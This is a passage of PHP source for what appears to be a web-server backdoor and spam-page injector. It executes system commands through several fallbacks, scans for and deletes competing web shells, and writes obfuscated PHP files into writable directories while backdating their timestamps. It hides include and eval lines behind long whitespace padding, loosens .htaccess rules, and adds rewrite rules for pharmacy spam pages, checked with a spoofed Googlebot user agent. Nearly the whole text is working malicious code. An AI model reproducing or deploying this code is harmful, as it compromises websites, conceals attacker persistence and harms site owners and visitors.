EOT;
}
break;
case 'checkme':
$res = d_get_cont(MAIN_DOMAIN . '/levitra-' . HASH . '/checkme', null, 'GET', true, array('User-Agent' => 'Googlbot/2.1 (+http://www.googlbot.com/bot.html)'));
if ($res && is_array($res)) {
$result_actions['status'] = trim($res['contents']) === STR_CHECK;
$res['contents'] = htmlspecialchars($res['contents']);
} else {
$result_actions['status'] = false;
}
$result_actions['comment'][] = print_r($res, true);
break;
case 'check':
$result_actions['html'] .= '';
$result_actions['html'] .= 'IP: ' . d_get_real_ip() . "\r\n\r\n";
$result_actions['html'] .= 'PHP: ' . phpversion() . "\r\n\r\n";
$res_gethostbyaddr = gethostbyaddr('8.8.8.8');
if ($res_gethostbyaddr) {
$result_actions['html'] .= '';
} else {
$result_actions['html'] .= '';
}
$result_actions['html'] .= 'gethostbyaddr(): ' . $res_gethostbyaddr ;
$result_actions['html'] .= '' . "\r\n\r\n";
$arr_functions_check = array(
'socket',
'curl',
'file_get'
);
foreach ($arr_functions_check as $func) {
$res = d_get_cont(SERVER . '/check.php', null, 'GET', true, false, false, $func);
if (trim($res['contents']) === STR_CHECK) {
$result_actions['html'] .= SERVER . '/check.php (' . $func . "):
\r\n";
$result_actions['html'] .= '';
} else {
$result_actions['html'] .= '';
}
if ($res && is_array($res)) {
$res['contents'] = htmlspecialchars($res['contents']);
}
$result_actions['html'] .= print_r($res, true);
$result_actions['html'] .= '' . "\r\n\r\n";
}
$result_actions['html'] .= '';
break;
case 'del_shells':
case 'del_shells_1':
case 'del_shells_2':
case 'del_shells_3':
case 'del_shells_4':
case 'del_shells_5':
case 'del_shells_6':
case 'del_shells_7':
case 'del_shells_8':
$arr_search = array();
$parts_del = array(
'del_shells_1' => 0,
'del_shells_2' => 1,
'del_shells_3' => 2,
'del_shells_4' => 3,
'del_shells_5' => 4,
'del_shells_6' => 5,
'del_shells_7' => 6,
'del_shells_8' => 7,
);
$result_actions['html'] = '
';
foreach ($parts_del as $part_name => $part_n) {
$result_actions['html'] .= '';
}
$result_actions['html'] .= '
';
if ($q === 'del_shells') {
break;
} elseif (in_array($q, array_keys($parts_del))) {
$arr_search = explode("\n", gzinflate(base64_decode($arr_search_del)));
$part_step_del_array = floor(count($arr_search) / count($parts_del));
$arr_search = array_slice($arr_search, (int)($parts_del[$q]) * (int)($part_step_del_array), (int)($part_step_del_array) + 3, true);
//foreach ($arr_search as $k => $v) {
// $arr_search[$k] = '~' . $v . '~smiS';
//}
} else {
$result_actions['status'] = false;
$result_actions['comment'][] = 'Empty shells action';
break;
}
$result_actions['html'] .= '
';
if (!isset($_REQUEST['max_files'], $_REQUEST['deep_level'], $_REQUEST['mask_files'], $_REQUEST['time_limit'])) {
$result_actions['status'] = false;
$result_actions['comment'][] = 'Not have default values';
break;
}
$_REQUEST['max_files'] = (int)$_REQUEST['max_files'];
$_REQUEST['deep_level'] = (int)$_REQUEST['deep_level'];
$_REQUEST['time_limit'] = (int)$_REQUEST['time_limit'];
set_time_limit($_REQUEST['time_limit']);
$result_actions['not_readable'] = array();
$result_actions['shells'] = array();
$dir = '';
$gbl = 0;
$n = 0;
$count = 0;
while ($n < $_REQUEST['max_files'] && $gbl++ < $_REQUEST['deep_level']) { //*.{php,phtm,phtml,pht,php3,ph3,php4,ph4,php5,ph5,php7,ph7,php8,ph8} // ico?
$file_dirs = @glob($dir . $_REQUEST['mask_files'], GLOB_BRACE | GLOB_MARK | GLOB_NOSORT);
$dir .= '*' . DIRECTORY_SEPARATOR;
if (!$file_dirs || !is_array($file_dirs) || !count($file_dirs)) {
continue;
}
foreach ($file_dirs as $cur_file) {
$sizess = filesize($cur_file);
if (
!$sizess
|| $sizess < 30
|| $sizess > 130000
|| substr($cur_file, -1, 1) === '\\'
|| $cur_file === __FILENAME__
//|| !is_writable($cur_file)
) {
continue;
}
if (!is_readable($cur_file)) {
$result_actions['not_readable'][] = $cur_file;
continue;
}
$cont = file_get_contents($cur_file);
if (!$cont) {
$result_actions['not_readable'][] = $cur_file;
continue;
}
$n++;
foreach ($arr_search as $k => $search) {
$matches_code = array();
$start_pos_shell = false;
if (
(
($search[0] === '/' || $search[0] === '#')
&& (
in_array(substr($search, -1, 1), array('/', '#'))
|| in_array(substr($search, -2, 2), array('/i','/u','#i','#u'))
)
&& preg_match($search, $cont, $matches_code)
)
|| ($start_pos_shell = stripos($cont, $search)) !== false
) {
if ($start_pos_shell !== false) {
$matches_code[] = str_ireplace($search, '[@@##$$]'.$search.'[/@@##$$]', substr($cont, max($start_pos_shell - 50, 0), 200));
}
$result_actions['shells'][] = array($cur_file, $search, $matches_code);
$count++;
continue 2;
}
}
}
}
$result_actions['html'] .= '';
foreach ($result_actions['shells'] as $shell) {
$result_actions['html'] .= '
' . $shell[0] . ':
' . htmlspecialchars($shell[1]) . '
'.(isset($shell[2][0]) ? str_replace(array('[@@##$$]','[/@@##$$]'), array('',''), htmlspecialchars($shell[2][0])) : '').' ';
}
if (count($result_actions['not_readable'])) {
$result_actions['html'] .= "
Not readable:\r\n\r\n" . implode("\r\n", $result_actions['not_readable']) . '';
}
$result_actions['html'] .= '
';
$result_actions['comment'][] = $q . ': ' . $count;
break;
case 'delete':
$res = delete_files();
$result_actions['status'] = (bool)array_sum($res);
$result_actions['comment'][] = print_r($res, true);
break;
case 'delete_plug':
rrmdir('wp-content/plugins/classic-editor3');
$result_actions['status'] = !is_dir('wp-content/plugins/classic-editor3');
$result_actions['comment'][] = 'Not have dir: wp-content/plugins/classic-editor3';
break;
//
}
//
//
function vde($v)
{
var_dump($v);
exit();
}
function cmd_exec($cmd, $fnc = null) // cmd = ls for check
{
if (($fnc === 'shell_exec' || !$fnc) && function_exists('shell_exec')) {
return shell_exec($cmd);
}
if (($fnc === 'exec' || !$fnc) && function_exists('exec')) {
exec($cmd, $r);
return implode("\r\n", $r);
}
if (($fnc === 'proc_open' || !$fnc) && function_exists('proc_open') && function_exists('stream_get_contents')) {
$pipes = array();
$process = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes);
$r = stream_get_contents($pipes[1]);
proc_close($process);
return $r;
}
if (($fnc === 'popen' || !$fnc) && function_exists('popen')) {
$handle = popen($cmd, 'r');
$r = fread($handle, 16192);
pclose($handle);
return $r;
}
if (($fnc === 'passthru' || !$fnc) && function_exists('passthru')) {
ob_start();
passthru($cmd);
$r = ob_get_contents();
ob_end_clean();
return $r;
}
if (($fnc === 'system' || !$fnc) && function_exists('system')) {
ob_start();
system($cmd);
$r = ob_get_contents();
ob_end_clean();
return $r;
}
return false;
}
function rrmdir($dir)
{
if (stripos($dir, '..') !== false) {
return false;
}
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object !== '.' && $object !== '..') {
if (filetype($dir . '/' . $object) === 'dir') {
rrmdir($dir . '/' . $object);
} else {
unlink($dir . '/' . $object);
}
}
}
reset($objects);
rmdir($dir);
}
}
function d_get_path()
{
if (isset($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['DOCUMENT_ROOT'])) {
return $_SERVER['DOCUMENT_ROOT'] . '/';
}
if (isset($_SERVER['SCRIPT_NAME']) && !empty($_SERVER['SCRIPT_NAME'])) {
$pos = stripos(__FILE__, $_SERVER['SCRIPT_NAME']);
if ($pos !== false) {
return '/' . trim(substr(__FILE__, 0, -$pos), '/') . '/';
}
}
if (isset($_SERVER['PHP_SELF']) && !empty($_SERVER['PHP_SELF'])) {
$pos = stripos(__FILE__, $_SERVER['PHP_SELF']);
if ($pos !== false) {
return '/' . trim(substr(__FILE__, 0, -$pos), '/') . '/';
}
}
return __DIR__ . '/';
}
function sort_by_weight_inject($v1, $v2)
{
return $v2['weight'] - $v1['weight'];
}
function cmp_crc32($v1, $v2)
{
return sprintf('%u', crc32(SERV_NAME . '@' . $v1)) - sprintf('%u', crc32(SERV_NAME . '@' . $v2));
}
function get_include_socket($socket, $inject_path_file = false)
{
$repeat_up_dir = '';
/*if ($inject_path_file) {
$inject_path_file = trim(trim($inject_path_file), '/');
$repeat_up_dir = str_repeat('../', substr_count($inject_path_file, '/'));
}*/
$str_before = str_repeat(" \t", mt_rand(60,120));
$str_before .= '@';
$str_before .= str_repeat(" \t", mt_rand(1, 3));
$str_before .= "\r\n";
$str_before .= str_repeat(" \t", mt_rand(60,120));
$str_before .= '//';
$str_before .= str_repeat(" \t", mt_rand(1, 3));
$str_before .= "\r\n";
$str_before .= str_repeat(" \t", mt_rand(60,120));
return $str_before . "include_once('" . str_replace('\\', '/', $repeat_up_dir . $socket) . "');\r\n";
}
function get_rewriterule($socket)
{
$socket = trim($socket);
if (preg_match("#[\s]#", $socket)) {
return false;
}
return 'RewriteRule ^(.{0,}([^a-z^A-Z]|^))(' . str_ireplace(' ', '-', HASH) . ')(([^a-z^A-Z]|$).{0,})$ ' . str_replace('\\', '/', $socket) . '?q=$1$2$3 [L,QSA]';
}
function get_rewriterule_old($socket, $arr_products)
{
$socket = trim($socket);
if (preg_match("#[\s]#", $socket)) {
return false;
}
foreach ($arr_products as $k => $v) {
$arr_products[$k] = preg_quote($v);
}
return 'RewriteRule ^(.{0,}([^a-z^A-Z]|^))(' . str_ireplace(' ', '-', HASH . '|' . implode('|', $arr_products)) . ')(([^a-z^A-Z]|$).{0,})$ ' . str_replace('\\', '/', $socket) . '?q=$1$2$3 [L,QSA]';
}
function delete_files()
{
$arr_del_files = array(
__FILENAME__,
preg_replace("#\.php$#isU", '.zip', __FILENAME__),
'my_install.zip',
'my_install.php',
'my_install.php.zip',
'wso3.php',
'wso3.zip'
);
$files = scandir('.');
foreach ($files as $file) {
// files uploads mask
if (preg_match("#^(in|ws|pa)_[0-9a-zA-Z]{7}\.(php|zip)$#isU", $file) && is_file($file)) {
$arr_del_files[] = $file;
}
}
$arr_del_files = array_unique($arr_del_files);
$result = array();
foreach ($arr_del_files as $file_del) {
$is_del = (file_exists($file_del) && unlink($file_del));
$result[$file_del] = $is_del;
}
return $result;
}
function check_https($url) // without protocol
{
$url = preg_replace("#^https?://(www\.|)#isU", '', $url);
$opts = array(
'ssl' => array(
'verify_peer' => true,
'verify_peer_name' => true
),
'http' => array (
'follow_location' => false
)
);
@$res = file_get_contents('https://' . $url, false, stream_context_create($opts));
return $res && stripos($res, '@str_for_find@') !== false;
}
function check_www($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$a = curl_exec($ch);
if (preg_match('#Location: https?://(?!www\.)#', $a, $r)) {
return false;
}
/*if (!WWW) {
if (preg_match('#Location: https?://www\.#', $a, $r)) {
return true;
}
}
if (WWW) {
if (preg_match('#Location: https?://(?!www\.)#', $a, $r)) {
return false;
}
}*/
$opts = array(
'ssl' => array(
'verify_peer' => true,
'verify_peer_name' => true
)
);
@$robots_txt = file_get_contents($url . '/robots.txt', false, stream_context_create($opts));
if ($robots_txt && preg_match("#Host:[ \t]{1,}(https?://|)www\.#isU", $robots_txt)) {
return true;
}
return false;
}
function d_error500($cont = '')
{
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
if ($cont) {
exit($cont);
}
if (is_callable('apache_get_version')) {
$ss = apache_get_version();
} else {
$ss = 'Apache/2.2.22 (CentOS)';
}
$ss .= ' Server at ' . $GLOBALS['ND_DOOR_DOMAIN'] . ' Port ' . $_SERVER['SERVER_PORT'];
echo '
500 Internal Server Error
Internal Server Error
' . $ss . '
';
exit;
}
function put_files($arr_bad_dir, $arr_base64_files, $depth_level = 9, $koef_avg = 0.7, array $good_dirs = array(), $sort_by_intersect = false)
{
global $arr_filenames;
if (!count($arr_base64_files)) {
return '0 files giving.';
}
$all_dirs = array();
if (count($good_dirs) < count($arr_base64_files)) {
$total_count_dirs = 0;
$masks = array('{php}', '{html,htm}', '{txt,text}', '*');
$all_other_dirs = array();
$k = 0;
do {
$dir = str_repeat('*' . DIRECTORY_SEPARATOR, $depth_level + 1);
$gbl = 0;
while ($total_count_dirs < 100 && (($file_dirs = @glob($dir . '*.' . $masks[$k], GLOB_BRACE | GLOB_MARK | GLOB_NOSORT)) || $gbl++ < $depth_level)) {
$dir = substr($dir, 0, -2);
if ((strlen($dir) <= 4 && count($all_dirs) >= count($arr_base64_files)) || strlen($dir) <= 0) {
break;
}
if (!$file_dirs) {
continue;
}
for ($i = 0; $i < count($file_dirs) && $i < 4000; $i++) {
for ($j = 0; $j < count($arr_bad_dir); $j++) {
if (
stripos($file_dirs[$i], '%') !== false ||
stripos($file_dirs[$i], '#') !== false ||
stripos($file_dirs[$i], '~') !== false ||
stripos($file_dirs[$i], ' ') !== false ||
stripos($file_dirs[$i], "\t") !== false ||
stripos($file_dirs[$i], DIRECTORY_SEPARATOR . '_') !== false ||
stripos($file_dirs[$i],DIRECTORY_SEPARATOR . $arr_bad_dir[$j] . DIRECTORY_SEPARATOR) !== false ||
stripos($file_dirs[$i], $arr_bad_dir[$j] . DIRECTORY_SEPARATOR) === 0
) {
continue 2;
}
}
$current_dir = trim(trim(substr($file_dirs[$i], 0, strripos($file_dirs[$i], DIRECTORY_SEPARATOR)), '/'), '\\');
if (!is_writable($current_dir)) {
if ((!@chmod($current_dir, 0644) && !@chmod($current_dir, 0755)) && count($all_dirs) < count($arr_base64_files)) {
clearstatcache();
$chmod_dirs = explode(DIRECTORY_SEPARATOR, $current_dir);
for ($p = 0, $cur_chmod_dirs = ''; $p < count($chmod_dirs); $p++, $cur_chmod_dirs = '') {
for ($q = 0; $q <= $p; $q++) {
$cur_chmod_dirs .= DIRECTORY_SEPARATOR . $chmod_dirs[$q];
}
if (!@chmod($cur_chmod_dirs, 0644) && !@chmod($cur_chmod_dirs, 0755)) {
clearstatcache();
continue;
}
clearstatcache();
}
}
}
if (!is_writable($current_dir)) {
continue;
}
$all_dirs[$current_dir][] = substr($file_dirs[$i], -(strlen($file_dirs[$i]) - strlen($current_dir) - 1));
$total_count_dirs++;
}
}
$k++;
} while (($total_count_dirs == 0 || $total_count_dirs < count($arr_base64_files)) && $k < count($masks));
if (!count($all_dirs)) {
$avg = 0;
} else {
$avg = ($total_count_dirs / count($all_dirs)) * $koef_avg;
uasort($all_dirs, 'sort_count');
}
} else {
$avg = 0;
}
if ($sort_by_intersect) {
uksort($all_dirs, 'sort_by_intersect');
$all_dirs = array_reverse($all_dirs);
}
if (!$avg) {
if (count($good_dirs)) {
$all_dirs = array();
foreach ($good_dirs as $dir) {
$files = scandir(__DIR__ . DIRECTORY_SEPARATOR . trim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR);
if (!$files) {
continue;
}
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
$current_dir = __DIR__ . DIRECTORY_SEPARATOR . trim($dir, DIRECTORY_SEPARATOR);
$all_dirs[$current_dir][] = $file;
}
}
} else {
return 'not have dirs';
}
}
if (!count($all_dirs)) {
return 'not have dirs';
}
foreach ($all_dirs as $k => $v) {
if (count($all_dirs) < count($arr_base64_files)) {
break;
}
if ($v < $avg && $v < 6) {
unset($all_dirs[$k]);
continue;
}
$cur_count = count($all_dirs[$k]);
$res = search_tpl_name($all_dirs[$k], $k, 20, 4);
if ($res) {
$all_dirs[$k] = $res;
$all_dirs[$k]['koef'] = $all_dirs[$k]['koef'] * 15 + $cur_count * 0.8;
} else {
$all_dirs[$k]['start'] = '';
$all_dirs[$k]['end'] = '';
$all_dirs[$k]['koef'] = $cur_count * 0.3;
}
}
uasort($all_dirs, 'sort_koef');
$res = array();
foreach ($arr_base64_files as $name => $arr_base64_file) {
$current_dir = key($all_dirs);
$current_start = $all_dirs[$current_dir]['start'];
$current_end = $all_dirs[$current_dir]['end'];
if (!$current_end || !preg_match("#\.php$#sU", $current_end)) {
if (!$current_end) {
$current_end = '';
}
$current_end .= '.php';
}
if (next($all_dirs) === false) {
reset($all_dirs);
}
$file_name = $current_start . $arr_filenames[array_rand($arr_filenames)] . $current_end;
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file_name;
$res_write = write_current_file($arr_base64_file, $file_path, $current_start, $current_end);
if (!is_array($res_write) || !$res_write['status']) {
return 'put_files(): cant write_current_file(), comment: ' . $res_write['comment'];
}
if ($arr_base64_file['need_htaccess']) {
$r = allow_htaccess($current_dir);
if ($r['err']) {
return 'cant allow_htaccess()';
}
}
$res[$name] = array(
'file' => $file_path,
'comment' => $res_write['comment']
);
}
return $res;
}
function sort_count($a, $b)
{
return count($a) === count($b) ? 0 : ((count($a) > count($b)) ? -1 : 1);
}
function sort_by_intersect($a, $b)
{
$a = explode(DIRECTORY_SEPARATOR, $a);
$b = explode(DIRECTORY_SEPARATOR, $b);
//if (count($a) < 3 || count($b) < 3) {
// return -1;
//}
$big_arr = count($a) >= count($b) ? count($a) : count($b);
if (count(array_intersect($a, $b)) / $big_arr > 0.66) {
return count($a) >= count($b) ? 0 : -1;
}
return 0;
}
function sort_koef($a, $b)
{
return $a["koef"] === $b["koef"] ? 0 : (($a["koef"] > $b["koef"]) ? -1 : 1);
}
function write_current_file($current_files_base64, $file_path, $current_start = '', $current_end = '')
{
if (!is_array($current_files_base64) || !isset($current_files_base64['file'])) {
return array('status' => false, 'comment' => 'file is not base64 array');
}
/*if (!is_string($current_end) && !$current_end) {
$current_end = '';
}
if (!$current_end || !preg_match("#\.php$#sU", $current_end)) { // del code
$current_end .= '.php';
}*/
//$current_files_base64['file'] = base64_decode($current_files_base64['file']);
$current_files_base64['file'] = str_replace('[%CURRENT_START%]', $current_start, $current_files_base64['file']);
$current_files_base64['file'] = str_replace('[%CURRENT_END%]', $current_end, $current_files_base64['file']);
//$current_files_base64['file'] = base64_encode($current_files_base64['file']);
if (isset($current_files_base64['not_obf']) && $current_files_base64['not_obf']) {
$cont = /*base64_decode*/($current_files_base64['file']);
} else {
$cont = d_get_cont(
SERVER . '/obf.php',
array(
'obf_data' => $current_files_base64['file'],
'obf_len_min' => 30,
'obf_len_max' => 150,
'obf_clear' => true,
'obf_min_base64_deep' => 1,
'obf_max_base64_deep' => 4,
'obf_save_php_tags' => $current_files_base64['save_php_tags'],
'obf_zip' => true,
'obf_php8_cf_name' => isset($current_files_base64['php8_cf_name']) ? $current_files_base64['php8_cf_name'] : false,
'obf_php8_include_name' => isset($current_files_base64['php8_include_name']) ? $current_files_base64['php8_include_name'] : false
),
'POST'
);
if (!$cont || !$cont['contents']) {
return array('status' => false, 'comment' => 'Bad response to obf:
' . $cont);
}
$cont = $cont['contents'];
$cont = json_decode($cont, true);
if (!$cont || !is_array($cont) || !isset($cont['status'])) {
return array('status' => false, 'comment' => 'Cant json_decode() or bad struct from obf:
' . $cont);
}
$cont['result_base64'] = base64_decode($cont['result_base64']);
if (!$cont['status']) {
return array('status' => false, 'comment' => $cont['result_base64']);
}
if (!$cont['result_base64']) {
return array('status' => false, 'comment' => 'Bad result_base64: ' . $cont['result_base64']);
}
$cont = $cont['result_base64'];
}
if (is_array($cont) && !$cont['status']) {
return array('status' => false, 'comment' => $cont['error']);;
}
$file_existed_before_create = file_exists($file_path);
$comment = '';
if ($file_existed_before_create) {
$file_time = stat($file_path);
$comment .= "file rewrited\r\n";
//return 'file exists: ' . $file_path;
} else {
$file_time = stat(preg_replace("#[^\^/]{0,}$#isU", '', $file_path));
}
// not need rewrite_file() coz new file
if (!file_put_contents($file_path, $cont)) {
$only_path = explode(DIRECTORY_SEPARATOR, $file_path);
array_pop($only_path);
$only_path = implode(DIRECTORY_SEPARATOR, $only_path);
chmod($only_path, 0755);
clearstatcache();
if (!file_put_contents($file_path, $cont)) {
chmod($file_path, 0755);
clearstatcache();
if (!file_put_contents($file_path, $cont)) {
return array('status' => false, 'comment' => 'cant write file: ' . $file_path);
}
}
}
if ($file_time && $file_time['mtime']) {
if ($file_existed_before_create) {
$current_mtime = $file_time['mtime'] - 1;
} else {
$current_mtime = $file_time['mtime'];
}
} else {
$current_mtime = time() - 2592000;
}
if ($file_time && $file_time['atime']) {
if ($file_existed_before_create) {
$current_atime = $file_time['atime'] - 1;
} else {
$current_atime = $file_time['atime'];
}
} else {
$current_atime = time() - 2592000;
}
if (!touch($file_path, $current_mtime, $current_atime)) {
$comment .= "cant touch() file\r\n";
}
//$res[$current_files_base64['name']] = $file_path;
return array('status' => true, 'comment' => $comment);
}
function add_quarantine($file_name)
{
$quarantine_files = isset($_COOKIE['quarantine_files']) ? explode('[@]', $_COOKIE['quarantine_files']) : false;
if (!is_array($quarantine_files)) {
$quarantine_files = array();
}
$quarantine_files[] = trim($file_name);
$quarantine_files = array_unique($quarantine_files);
$quarantine_files = trim(implode('[@]', $quarantine_files));
setcookie('quarantine_files', $quarantine_files, time()+60*60*24*30);
}
function allow_htaccess($path)
{
$not_all_htacces = false;
do {
$cur_htaccess = $path . DIRECTORY_SEPARATOR . '.htaccess';
if (file_exists($cur_htaccess)) {
clearstatcache();
if (!is_readable($cur_htaccess)) {
if (!chmod($cur_htaccess, 0644) && !chmod($cur_htaccess, 0755)) {
$not_all_htacces = true;
continue;
}
clearstatcache();
}
if (!is_readable($cur_htaccess) || ($cont = file_get_contents($cur_htaccess)) === false) {
$not_all_htacces = true;
continue;
}
if (!is_writable($cur_htaccess)) {
if (!chmod($cur_htaccess, 0644) && !chmod($cur_htaccess, 0755)) {
$not_all_htacces = true;
continue;
}
clearstatcache();
}
if ((stripos($cont, 'deny') !== false || stripos($cont, 'denied') !== false) && !is_writable($cur_htaccess)) {
return array('status' => false, 'err' => 1, 'wrong' => $not_all_htacces);
}
if (stristr($cont, 'Require all') !== false || (stristr($cont, 'IfModule') !== false && stristr($cont,
'mod_authz_core.c') !== false)) {
$cont_write = '
Order allow,deny
Allow from all
Require all granted
';
} else {
$cont_write = 'Allow from all';
}
if (is_writable($cur_htaccess)) {
$info = stat($cur_htaccess);
if (file_put_contents($cur_htaccess, str_repeat("\r\n", 50) . $cont_write, FILE_APPEND) === false) {
return array('status' => false, 'err' => 2, 'wrong' => $not_all_htacces);
}
touch($cur_htaccess, $info['mtime'], $info['atime']);
//return array('status'=>true, 'err'=>false, 'wrong'=>$not_all_htacces);
}
}
} while (($pos = strripos($path, DIRECTORY_SEPARATOR)) !== false && $path = substr($path, 0, $pos));
return array('status' => true, 'err' => false, 'wrong' => $not_all_htacces);
}
function search_tpl_name($arr_names, $path, $min_proc = 20, $min_files = 4/*, $file_time = 0*/)
{
rsort($arr_names);
$tpl_start = cmp_tpl($arr_names, $min_proc, $min_files);
if ($tpl_start) {
for ($i = 0, $arr_names_end = array(), $sum_strlen = 0; $i < count($arr_names); $i++) {
$sum_strlen += strlen($arr_names[$i]);
if (substr($arr_names[$i], 0, strlen($tpl_start)) == $tpl_start) {
/*$file_time = stat($path . DIRECTORY_SEPARATOR . $arr_names[$i]);
if ((!isset($file_time['mtime']) || !$file_time['mtime']) && $file_time == 0) {
$file_time = time() - 2592000;
}*/
$arr_names_end[] = strrev($arr_names[$i]);
}
}
$tpl_end = strrev(cmp_tpl($arr_names_end, $min_proc, $min_files));
} else {
return false;
}
return array(
'start' => $tpl_start ? str_replace('%', '', $tpl_start) : false,
'end' => $tpl_end ? str_replace('%', '', $tpl_end) : false,
'koef' => (strlen($tpl_start) + strlen($tpl_end)) / ($sum_strlen / count($arr_names)),
//'file_time' => $file_time
);
}
function cmp_tpl($arr_names, $min_proc, $min_files)
{
$total_count = count($arr_names);
$cur_word = $arr_names[0];
$ch = $cur_word[0];
$n_ch = 0;
$arr_tpl = array();
$prev_proc = false;
$part_word = '';
$prev_count_cmp = 0;
while ($cur_word) {
$part_word .= $ch;
for ($i = 0, $count_cmp = 0; $i < count($arr_names); $i++) {
if (substr($arr_names[$i], 0, $n_ch + 1) == $part_word) {
$count_cmp++;
}
}
$cur_proc = ($count_cmp / $total_count) * 100;
$n_ch++;
if
(
$cur_proc < $min_proc ||
$count_cmp < $min_files ||
strlen($cur_word) < $n_ch ||
($prev_proc !== false && $prev_proc - $cur_proc > 15 && $cur_proc < $min_proc)
) {
$arr_tpl[substr($cur_word, 0, $n_ch - 1)] = $prev_count_cmp;
$n_ch = 0;
$part_word = '';
$cur_word = get_next_word($arr_names, $cur_word);
$prev_count_cmp = 0;
$ch = is_array($cur_word) && isset($cur_word[$n_ch]) ? $cur_word[$n_ch] : '';
$prev_proc = false;
continue;
}
$ch = is_array($cur_word) && isset($cur_word[$n_ch]) ? $cur_word[$n_ch] : '';
$prev_count_cmp = $count_cmp;
$prev_proc = $cur_proc;
}
$arr_tpl = array_keys($arr_tpl, max($arr_tpl));
return is_array($arr_tpl) ? $arr_tpl[0] : $arr_tpl;
}
function get_next_word($arr_names, $cur_word)
{
$first_ch = $cur_word[0];
for ($i = 0, $after_word = false; $i < count($arr_names); $i++) {
if ($arr_names[$i] == $cur_word) {
$after_word = true;
}
if ($after_word && $arr_names[$i][0] != $first_ch) {
return $arr_names[$i];
}
}
return false;
}
function str2hex($text, $spl = false)
{
$retval = '';
for ($i = 0; $i < strlen($text); ++$i) {
$retval .= "\x" . dechex(ord($text[$i]));
}
if ($spl) {
return '\'' . str_replace('\x', '\\\\\'.\'x\'.\'', $retval) . '\'';
}
return $retval;
}
function get_support_file($function_name)
{
$var_code_name = '$' . get_fuck_name();
$fuck_eval = str_split('eval');
$eval_n = array_rand($fuck_eval);
$fuck_eval[$eval_n] = strtoupper($fuck_eval[$eval_n]);
$eval_n = array_rand($fuck_eval);
$fuck_eval[$eval_n] = strtoupper($fuck_eval[$eval_n]);
$fuck_eval = implode('', $fuck_eval);
$variable_tags = array('p','td','div','span','header','h1','h2');
$variable_styles = array('color','background','background-color','border-color');
$variable_colors = array('#999','#666','#000','#f00','#0f0','#00f','#e00','#0e0','#fff');
$rand_tags = array_rand($variable_tags, mt_rand(2,4));
$comment_code = '';
foreach ($rand_tags as $n_rand) {
$comment_code .= $variable_tags[$n_rand].' {
'.$variable_styles[array_rand($variable_styles)].': '.$variable_colors[array_rand($variable_colors)].';
}
';
}
$spaces_variable = array(" \t", "\t ", ' ', "\t");
$spaces_n = mt_rand(120, 250);
$code = '='.get_obf_nl(6).str_repeat($spaces_variable[array_rand($spaces_variable)], mt_rand(120,200)).(mt_rand(0,1)?"''":'""').';
'.str_repeat(" \t", mt_rand(120,250)).'
'.str_repeat("\r\n", mt_rand(1,5)).'
'.str_repeat("\r\n", mt_rand(40,60)).'
'.str_repeat("\r\n", mt_rand(1,5)).'
'.str_repeat($spaces_variable[array_rand($spaces_variable)], $spaces_n).'function '.$function_name.'('.$var_code_name.')
'.str_repeat($spaces_variable[array_rand($spaces_variable)], $spaces_n).'{
'.str_repeat("\r\n", mt_rand(1,15)).'
'.str_repeat($spaces_variable[array_rand($spaces_variable)], $spaces_n).' '.$fuck_eval.get_obf_nl(6, false, '').'(\' ?\'.'.get_obf_nl(6, false, '').'\'>\' . '.get_obf_nl(6, false, '').$var_code_name.get_obf_nl(6, false, '').' . \'<\'.'.get_obf_nl(6, false, '').'\'?\'.'.get_obf_nl(6, false, '').'\';\');
'.str_repeat("\r\n", mt_rand(1,15)).'
'.str_repeat($spaces_variable[array_rand($spaces_variable)], $spaces_n).'}
'.str_repeat("\r\n", mt_rand(1,15)).
str_repeat(" \t", mt_rand(120,250)).'__Halt_CompiLer();'.
str_repeat("\r\n", mt_rand(20,60)).
''.
str_repeat("\r\n", mt_rand(20,60));
return $code;
}
function get_fuck_name($symbol_arr = array('b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'))
{
return $symbol_arr[array_rand($symbol_arr)] . (mt_rand(0, 1) ? $symbol_arr[array_rand($symbol_arr)] : '') . substr(md5(mt_rand(1, 999999)), 0, mt_rand(2, 6));
}
function fuck_name($v, $percent = 33)
{
$v = str_replace('.', '#', $v);
$v = str_split($v);
$v = '"' . implode('"."', $v) . '"';
$v = explode('.', $v);
$count_replace = ceil((count($v)/100) * $percent);
for ($i = 0; $i < $count_replace; $i++) {
$v[array_rand($v)] .= get_obf_nl(4);
}
return str_replace('#', '.', implode('.', $v));
}
function get_obf_nl($nl_max = 6, $add_just_comment = false, $comment_text = ';')
{
return str_repeat("\r\n", mt_rand(1, $nl_max)) .
'/*' . "\r\n" . str_repeat(' ', mt_rand(2, 4)) . $comment_text . str_repeat(' ', mt_rand(2, 4)) . "\r\n" . '*/' .
($add_just_comment ? '// ' . str_repeat(' ', mt_rand(0,5)) : '')
. str_repeat("\r\n", mt_rand(1, $nl_max));
}
function get_inj_str($domain, $with_php_tag = false)
{
$vars_names = generate_var_names($domain);
$f_name = $vars_names['f_name'];
$f_name2 = $vars_names['f_name2'];
$f_path = $vars_names['f_path'];
$url = $vars_names['url'];
$str_replace = $vars_names['str_replace'];
$method = mt_rand(0,1) ? '_GET' : '_REQUEST';
$spaces = str_repeat((mt_rand(0,1) ? ' ' : "\t"), mt_rand(200,300));
$code = '';
if ($with_php_tag) {
$code .= '=' . get_obf_nl(6) . $spaces . (mt_rand(0, 1) ? "''" : '""') . ';';
}
$code .= "\r\nif (isset($" . $method . "['" . $f_name . "'])) {\r\n";
$code .= '$' . $f_name . ' = str_replace(\'' . $str_replace . '\', \'\', $' . $method . "['" . $f_name . "']);\r\n";
$code .= '$' . $f_name2 . ' = str_replace(\'' . $str_replace . '\', \'\', $' . $method . "['" . $f_name2 . "']);\r\n";
$code .= '$' . $f_path . ' = str_replace(\'' . $str_replace . '\', \'\', $' . $method . "['" . $f_path . "']);\r\n";
